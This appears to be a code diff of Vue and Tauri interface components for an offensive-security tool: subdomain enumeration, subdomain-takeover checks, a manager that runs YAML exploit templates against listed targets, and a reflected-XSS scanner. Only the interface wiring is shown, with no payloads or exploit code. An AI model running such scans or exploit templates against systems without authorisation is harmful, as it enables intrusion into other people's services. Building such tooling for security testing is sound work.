} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onMounted(loadSources);
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<Prompt label="domain" v-model="domain" placeholder="example.com" />
<details class="adv">
<summary>sources · {{ enabledSources.size }} / {{ sources.free.length + sources.key_based.length }} enabled</summary>
<div class="src-section">
<div class="src-head">free <span class="src-sub">no api key required</span></div>
<div class="src-grid">
<label v-for="s in sources.free" :key="s" class="src-chip" :class="{ on: enabledSources.has(s) }">
<input type="checkbox" :checked="enabledSources.has(s)" @change="toggleSource(s)" />
<span>{{ s }}</span>
</label>
</div>
</div>
<div class="src-section">
<div class="src-head">key-based <span class="src-sub">paste API key to enable</span></div>
<div class="key-list">
<div v-for="s in sources.key_based" :key="s" class="key-row">
<label class="src-chip" :class="{ on: enabledSources.has(s) }">
<input type="checkbox" :checked="enabledSources.has(s)" @change="toggleSource(s)" />
<span>{{ s }}</span>
</label>
<input
v-model="apiKeys[s]"
class="key-input"
type="password"
:placeholder="`${s} api key`"
@blur="saveKeys"
spellcheck="false"
/>
</div>
</div>
</div>
</details>
<details class="adv">
<summary>brute · dns wordlist</summary>
<textarea class="term-input" v-model="wordlist" rows="2" spellcheck="false" placeholder="www,api,dev..." />
</details>
<div class="row">
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="500" /></label>
<button class="exec" :disabled="running" @click="run">{{ running ? "[ enumerating... ]" : "> enumerate" }}</button>
</div>
<div v-if="progress.total" class="bar">
<div class="bar-fill" :style="{ width: (progress.done / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.done }} / {{ progress.total }}</span>
</div>
<div v-if="sourceStats.length" class="stat-grid">
<div v-for="s in sourceStats" :key="s.source" class="stat">
<span class="st-src">{{ s.source }}</span>
<span class="st-cnt">+{{ s.count }}</span>
<span class="st-ms">{{ s.took_ms }}ms</span>
</div>
</div>
</div>
<Terminal :lines="log.lines.value" title="subdomain // multi-source enum" @clear="log.clear()" />
</div>
</template>
<style scoped>
.adv { border: 1px solid var(--border); background: var(--bg-panel); padding: 4px 8px; }
.adv summary {
cursor: pointer;
font-size: 10px;
color: var(--fg-dim);
text-transform: uppercase;
letter-spacing: 0.1em;
padding: 4px 0;
}
.adv summary:hover { color: var(--fg); }
.adv > *:not(summary) { margin-top: 6px; }
.src-section { margin-bottom: 8px; }
.src-section:last-child { margin-bottom: 0; }
.src-head {
font-size: 9px;
color: var(--alert);
text-transform: uppercase;
letter-spacing: 0.15em;
margin-bottom: 4px;
}
.src-sub { color: var(--fg-ghost); margin-left: 6px; }
.src-grid { display: flex; gap: 4px; flex-wrap: wrap; }
.src-chip {
display: flex;
align-items: center;
gap: 4px;
padding: 2px 8px;
border: 1px solid var(--border);
background: var(--bg);
color: var(--fg-dim);
font-size: 11px;
cursor: pointer;
transition: all 0.1s;
}
.src-chip input { display: none; }
.src-chip.on { color: var(--alert); border-color: var(--alert); background: rgba(255, 47, 74, 0.05); }
.key-list { display: flex; flex-direction: column; gap: 4px; }
.key-row { display: flex; gap: 6px; align-items: center; }
.key-row .src-chip { min-width: 100px; flex-shrink: 0; }
.key-input {
flex: 1;
background: var(--bg);
border: 1px solid var(--border);
color: var(--fg);
padding: 3px 6px;
font-size: 11px;
font-family: inherit;
min-width: 0;
}
.key-input:focus { border-color: var(--info); outline: none; }
.stat-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(140px, 1fr));
gap: 4px;
}
.stat {
display: flex;
gap: 6px;
align-items: center;
padding: 3px 6px;
background: var(--bg-panel);
border: 1px solid var(--border);
font-size: 10px;
border-left: 2px solid var(--accent);
}
.stat.err { border-left-color: var(--alert); }
.st-src { flex: 1; color: var(--fg); text-overflow: ellipsis; overflow: hidden; white-space: nowrap; }
.st-cnt { color: var(--accent); font-weight: 700; font-variant-numeric: tabular-nums; }
.st-err { color: var(--alert); font-weight: 700; }
.st-ms { color: var(--fg-ghost); font-variant-numeric: tabular-nums; }
</style>

View File

@@ -0,0 +1,67 @@
<script setup lang="ts">
import { onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import { useTerminal } from "../../composables/useTerminal";
const hosts = ref("");
const concurrency = ref(20);
const timeoutMs = ref(5000);
const running = ref(false);
const progress = ref({ done: 0, total: 0 });
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
async function run() {
if (running.value) return;
running.value = true;
log.clear();
progress.value = { done: 0, total: 0 };
const list = hosts.value.split(/[\s,\n]+/).map((s) => s.trim()).filter(Boolean);
if (!list.length) { log.err("no hosts"); running.value = false; return; }
log.info(`checking ${list.length} host(s) against fingerprint DB`);
unlistens.push(await listen<{ done: number; total: number }>("takeover:progress", (e) => { progress.value = e.payload; }));
unlistens.push(await listen<any>("takeover:hit", (e) => {
const p = e.payload;
const tag = p.vulnerable ? "VULN" : "INFO";
const msg = `[${tag}/${p.confidence}] ${p.host}${p.cname ?? "?"} [${p.service ?? "?"}] :: ${p.evidence}`;
if (p.vulnerable) log.hit(msg); else log.valid(msg);
}));
try {
const res: any[] = await invoke("takeover_scan", {
req: { hosts: list, concurrency: concurrency.value, timeout_ms: timeoutMs.value },
});
const vulns = res.filter((r) => r.vulnerable).length;
log.ok(`done: ${res.length} fingerprinted, ${vulns} VULN`);
} catch (e: any) {
log.err(String(e));
} finally { running.value = false; cleanup(); }
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<label class="ta">
<span class="lbl">targets // subdomains</span>
<textarea class="term-input" v-model="hosts" placeholder="stale.example.com&#10;old.subdomain.target.com" spellcheck="false" rows="5" />
</label>
<div class="row">
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="200" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="500" max="30000" /></label>
<button class="exec" :disabled="running" @click="run">{{ running ? "[ hunting... ]" : "> hunt-takeover" }}</button>
</div>
<div v-if="progress.total" class="bar">
<div class="bar-fill" :style="{ width: (progress.done / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.done }} / {{ progress.total }}</span>
</div>
</div>
<Terminal :lines="log.lines.value" title="takeover // fingerprint DB: S3/GH/Heroku/Azure/Vercel/+" @clear="log.clear()" />
</div>
</template>

View File

@@ -0,0 +1,426 @@
<script setup lang="ts">
import { computed, onMounted, onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import { useTerminal } from "../../composables/useTerminal";
interface TemplateRef {
filename: string;
path: string;
id: string;
name: string;
severity: string;
tags: string[];
author: string;
description: string;
builtin: boolean;
}
type View = "list" | "editor";
const view = ref<View>("list");
const targets = ref("https://example.com");
const templates = ref<TemplateRef[]>([]);
const selected = ref<Set<string>>(new Set());
const query = ref("");
const tagFilter = ref("");
const severities = ref({ critical: true, high: true, medium: true, low: true, info: true });
const running = ref(false);
const progress = ref({ done: 0, total: 0 });
// editor state
const editorPath = ref<string | null>(null);
const editorFilename = ref("");
const editorContent = ref("");
const editorDirty = ref(false);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
const selectedSeverities = computed(() =>
Object.entries(severities.value).filter(([, v]) => v).map(([k]) => k)
);
async function bootstrap() {
try {
const res: any = await invoke("xploit_store_init");
if (res.written > 0) log.dim(`extracted ${res.written} starter templates → ${res.path}`);
} catch (e: any) { log.err(String(e)); }
await reload();
}
async function reload() {
try {
templates.value = await invoke("xploit_store_list", {
severity: selectedSeverities.value,
tag: tagFilter.value || null,
query: query.value || null,
});
} catch (e: any) { log.err(String(e)); }
}
function toggle(path: string) {
if (selected.value.has(path)) selected.value.delete(path);
else selected.value.add(path);
selected.value = new Set(selected.value);
}
function toggleAll() {
if (selected.value.size === templates.value.length) selected.value = new Set();
else selected.value = new Set(templates.value.map((t) => t.path));
}
async function openEditor(t: TemplateRef | null) {
if (t) {
try {
editorContent.value = await invoke<string>("xploit_store_read", { path: t.path });
editorPath.value = t.path;
editorFilename.value = t.filename;
} catch (e: any) { log.err(String(e)); return; }
} else {
editorContent.value = await invoke<string>("xploit_store_starter_template");
editorPath.value = null;
editorFilename.value = `xpl-custom-${Date.now()}.yaml`;
}
editorDirty.value = false;
view.value = "editor";
}
async function save() {
try {
const newPath: string = await invoke("xploit_store_save", {
filename: editorFilename.value,
content: editorContent.value,
});
editorPath.value = newPath;
editorDirty.value = false;
log.ok(`saved → ${newPath}`);
await reload();
} catch (e: any) {
log.err(String(e));
}
}
async function remove(t: TemplateRef) {
if (t.builtin) {
log.warn(`${t.filename} is bundled — deleting will reappear on next init`);
}
try {
await invoke("xploit_store_delete", { path: t.path });
selected.value.delete(t.path);
selected.value = new Set(selected.value);
log.dim(`deleted ${t.filename}`);
await reload();
} catch (e: any) { log.err(String(e)); }
}
async function duplicate(t: TemplateRef) {
try {
const newPath: string = await invoke("xploit_store_duplicate", { path: t.path });
log.dim(`duplicated → ${newPath}`);
await reload();
} catch (e: any) { log.err(String(e)); }
}
async function run() {
if (running.value) return;
const tgts = targets.value.split(/[\s,\n]+/).map((s) => s.trim()).filter(Boolean);
if (!tgts.length) { log.err("no targets"); return; }
const paths = Array.from(selected.value);
if (!paths.length) { log.err("no templates selected"); return; }
running.value = true;
progress.value = { done: 0, total: 0 };
log.clear();
log.info(`loading ${paths.length} template(s) × ${tgts.length} target(s)`);
// read raw YAMLs
const yamls: string[] = [];
for (const p of paths) {
try { yamls.push(await invoke<string>("xploit_store_read", { path: p })); }
catch (e: any) { log.warn(`skip ${p}: ${e}`); }
}
unlistens.push(await listen<string>("xpl:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<{ done: number; total: number }>("xpl:progress", (e) => { progress.value = e.payload; }));
unlistens.push(await listen<any>("xpl:hit", (e) => {
const f = e.payload;
const sev = (f.severity || "info").toLowerCase();
const matchers = f.matcher_names?.length ? ` {${f.matcher_names.join(",")}}` : "";
const extras: string[] = [];
if (f.cve_id) extras.push(f.cve_id);
if (f.cvss) extras.push(`cvss:${f.cvss}`);
const extra = extras.length ? ` [${extras.join(" ")}]` : "";
const msg = `[${sev.toUpperCase()}] ${f.template_id} :: ${f.target}${f.matched_url} (${f.status})${matchers}${extra}`;
if (sev === "critical" || sev === "high") log.hit(msg);
else if (sev === "medium") log.warn(msg);
else log.ok(msg);
}));
try {
const res: any[] = await invoke("xploit_run", {
req: {
targets: tgts,
templates_yaml: yamls,
concurrency: 15,
timeout_ms: 10000,
},
});
log.ok(`xploit complete: ${res.length} finding(s)`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onMounted(bootstrap);
onUnmounted(cleanup);
// ---------- editor helpers ----------
const helperPlaceholders = ["{{BaseURL}}", "{{Hostname}}", "{{randstr}}", "{{rand_int}}", "{{unix_time}}"];
const dslExamples = [
"status == 200",
"duration > 5000",
'contains(body, "text")',
'regex(body, "^pat$")',
];
function onContentChange(e: Event) {
editorContent.value = (e.target as HTMLTextAreaElement).value;
editorDirty.value = true;
}
</script>
<template>
<div class="module">
<!-- ============ LIST VIEW ============ -->
<template v-if="view === 'list'">
<div class="form">
<label class="ta">
<span class="lbl">targets</span>
<textarea class="term-input" v-model="targets" placeholder="https://target.com&#10;https://another.com" rows="2" spellcheck="false" />
</label>
<div class="row">
<label class="mini wide"><span>search</span><input v-model="query" placeholder="rce, lfi, ssti, cve..." @keyup.enter="reload" /></label>
<label class="mini wide"><span>tag</span><input v-model="tagFilter" placeholder="rce, exposure..." @keyup.enter="reload" /></label>
<button class="btn-ghost" @click="reload">reload</button>
</div>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="severities.critical" /><span>critical</span></label>
<label class="toggle"><input type="checkbox" v-model="severities.high" /><span>high</span></label>
<label class="toggle"><input type="checkbox" v-model="severities.medium" /><span>medium</span></label>
<label class="toggle"><input type="checkbox" v-model="severities.low" /><span>low</span></label>
<label class="toggle"><input type="checkbox" v-model="severities.info" /><span>info</span></label>
</div>
</div>
<div class="tpl-panel">
<div class="tpl-head">
<span class="tpl-title">arsenal // {{ templates.length }} templates // {{ selected.size }} armed</span>
<button class="btn-ghost" @click="openEditor(null)">+ new</button>
<button class="btn-ghost" @click="toggleAll">{{ selected.size === templates.length ? "unarm all" : "arm all" }}</button>
<button class="exec small" :disabled="running || !selected.size" @click="run">
{{ running ? "[ firing... ]" : `> fire (${selected.size})` }}
</button>
</div>
<div class="tpl-list">
<div v-if="!templates.length" class="tpl-empty">no templates match filters. click [+ new] to create one.</div>
<div
v-for="t in templates"
:key="t.path"
class="tpl-row"
:class="{ picked: selected.has(t.path) }"
>
<input type="checkbox" :checked="selected.has(t.path)" @change="toggle(t.path)" @click.stop />
<span class="sev" :class="`sev-${t.severity}`" @click="toggle(t.path)">{{ t.severity }}</span>
<span class="tpl-id" @click="toggle(t.path)">{{ t.id }}</span>
<span class="tpl-meta" @click="toggle(t.path)">
<span class="tpl-tags">{{ t.tags.slice(0, 3).join(",") }}</span>
<span v-if="t.builtin" class="tpl-badge">bundled</span>
</span>
<div class="tpl-actions">
<button class="ico" @click.stop="openEditor(t)" title="edit">✎</button>
<button class="ico" @click.stop="duplicate(t)" title="duplicate">⎘</button>
<button class="ico danger" @click.stop="remove(t)" title="delete">✕</button>
</div>
</div>
</div>
</div>
<div v-if="progress.total" class="bar">
<div class="bar-fill" :style="{ width: (progress.done / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.done }} / {{ progress.total }}</span>
</div>
<Terminal :lines="log.lines.value" title="xploiter // output" @clear="log.clear()" />
</template>
<!-- ============ EDITOR VIEW ============ -->
<template v-else>
<div class="editor-head">
<button class="btn-ghost" @click="view = 'list'">◀ back</button>
<input v-model="editorFilename" class="edit-filename" placeholder="filename.yaml" spellcheck="false" />
<span v-if="editorDirty" class="dirty">● modified</span>
<button class="exec small" @click="save">save</button>
</div>
<textarea
class="editor-body term-input"
:value="editorContent"
@input="onContentChange"
spellcheck="false"
placeholder="# paste YAML template here"
/>
<div class="editor-help">
<div><strong>helpers:</strong>
<code v-for="h in helperPlaceholders" :key="h">{{ h }}</code>
</div>
<div><strong>matchers:</strong> word, regex, status, size, binary(hex), dsl</div>
<div><strong>dsl:</strong>
<template v-for="(d, i) in dslExamples" :key="d">
<code>{{ d }}</code><span v-if="i < dslExamples.length - 1">, </span>
</template>
</div>
<div><strong>attack:</strong> batteringram | pitchfork | clusterbomb</div>
</div>
</template>
</div>
</template>
<style scoped>
.tpl-panel {
display: flex;
flex-direction: column;
border: 1px solid var(--border);
background: var(--bg-panel);
min-height: 180px;
max-height: 340px;
overflow: hidden;
}
.tpl-head {
display: flex;
align-items: center;
gap: 6px;
padding: 4px 8px;
border-bottom: 1px solid var(--border);
background: var(--bg-elev);
flex-wrap: wrap;
}
.tpl-title {
flex: 1;
font-size: 10px;
color: var(--fg-dim);
text-transform: uppercase;
letter-spacing: 0.1em;
min-width: 0;
}
.exec.small { padding: 3px 10px; font-size: 11px; flex: 0 0 auto; min-width: 0; }
.tpl-list { flex: 1; overflow-y: auto; }
.tpl-empty { padding: 16px; color: var(--fg-ghost); text-align: center; font-size: 11px; }
.tpl-row {
display: grid;
grid-template-columns: 18px 80px 1fr 1.2fr auto;
gap: 6px;
align-items: center;
padding: 4px 8px;
border-bottom: 1px solid var(--border);
cursor: pointer;
font-size: 11px;
transition: background 0.1s;
}
.tpl-row:hover { background: rgba(255, 255, 255, 0.02); }
.tpl-row.picked { background: rgba(255, 47, 74, 0.06); }
.tpl-row input[type="checkbox"] { accent-color: var(--alert); }
.tpl-id { color: var(--fg); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.tpl-meta { display: flex; gap: 6px; align-items: center; overflow: hidden; min-width: 0; }
.tpl-tags { color: var(--info); font-size: 10px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 0; }
.tpl-badge {
font-size: 9px;
color: var(--fg-dim);
border: 1px solid var(--border-hot);
padding: 0 4px;
letter-spacing: 0.1em;
text-transform: uppercase;
flex-shrink: 0;
}
.tpl-actions { display: flex; gap: 2px; flex-shrink: 0; }
.ico {
width: 24px; height: 24px;
display: inline-flex;
align-items: center;
justify-content: center;
color: var(--fg-dim);
border: 1px solid transparent;
font-size: 13px;
}
.ico:hover { color: var(--fg); border-color: var(--border-hot); background: var(--bg); }
.ico.danger:hover { color: var(--alert); border-color: var(--alert); }
/* editor */
.editor-head {
display: flex;
gap: 6px;
align-items: center;
flex-wrap: wrap;
}
.edit-filename {
flex: 1;
min-width: 120px;
background: var(--bg-panel);
border: 1px solid var(--border);
color: var(--fg);
padding: 4px 8px;
font-size: 12px;
font-family: inherit;
}
.edit-filename:focus { border-color: var(--info); outline: none; }
.dirty { color: var(--warn); font-size: 10px; text-transform: uppercase; letter-spacing: 0.1em; }
.editor-body {
flex: 1;
min-height: 260px;
font-size: 12px;
line-height: 1.5;
tab-size: 2;
}
.editor-help {
font-size: 10px;
color: var(--fg-dim);
padding: 6px 8px;
border: 1px solid var(--border);
background: var(--bg-panel);
line-height: 1.6;
}
.editor-help > div { margin-bottom: 3px; }
.editor-help > div:last-child { margin-bottom: 0; }
.editor-help code {
color: var(--info);
background: var(--bg);
padding: 0 4px;
margin: 0 2px;
border: 1px solid var(--border);
display: inline-block;
}
.editor-help strong {
color: var(--alert);
text-transform: uppercase;
letter-spacing: 0.1em;
font-size: 9px;
margin-right: 4px;
}
@media (max-width: 640px) {
.tpl-row { grid-template-columns: 18px 60px 1fr auto; }
.tpl-meta { display: none; }
}
</style>

View File

@@ -0,0 +1,76 @@
<script setup lang="ts">
import { onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
const url = ref("https://example.com/search?q=test");
const paramsFilter = ref("");
const useGet = ref(true);
const usePost = ref(false);
const concurrency = ref(5);
const timeoutMs = ref(10000);
const running = ref(false);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
async function run() {
if (running.value) return;
running.value = true;
log.clear();
const methods: string[] = [];
if (useGet.value) methods.push("GET");
if (usePost.value) methods.push("POST");
if (!methods.length) { log.err("pick a method"); running.value = false; return; }
const paramsList = paramsFilter.value.split(/[\s,]+/).map(s => s.trim()).filter(Boolean);
log.info(`target: ${url.value}`);
unlistens.push(await listen<string>("xss:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<any>("xss:hit", (e) => {
const p = e.payload;
const msg = `[${p.confidence}] ${p.method} ${p.param} :: ctx=${p.context} :: ${p.evidence} :: payload="${p.payload}"`;
if (p.confidence === "HIGH") log.hit(msg);
else log.warn(msg);
}));
try {
const res: any[] = await invoke("xss_scan", {
req: {
url: url.value,
params: paramsList.length ? paramsList : null,
methods,
concurrency: concurrency.value,
timeout_ms: timeoutMs.value,
},
});
log.ok(`scan done: ${res.length} reflection(s)`);
} catch (e: any) {
log.err(String(e));
} finally { running.value = false; cleanup(); }
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<Prompt label="url" v-model="url" placeholder="https://target.com/search?q=test" />
<Prompt label="params" v-model="paramsFilter" placeholder="q,name (blank = auto)" />
<div class="row">
<label class="toggle"><input type="checkbox" v-model="useGet" /><span>GET</span></label>
<label class="toggle"><input type="checkbox" v-model="usePost" /><span>POST</span></label>
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="50" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="1000" max="30000" /></label>
</div>
<div class="row">
<button class="exec" :disabled="running" @click="run">{{ running ? "[ probing... ]" : "> fire" }}</button>
</div>
</div>
<Terminal :lines="log.lines.value" title="xss // canary + context-aware payload" @clear="log.clear()" />
</div>
</template>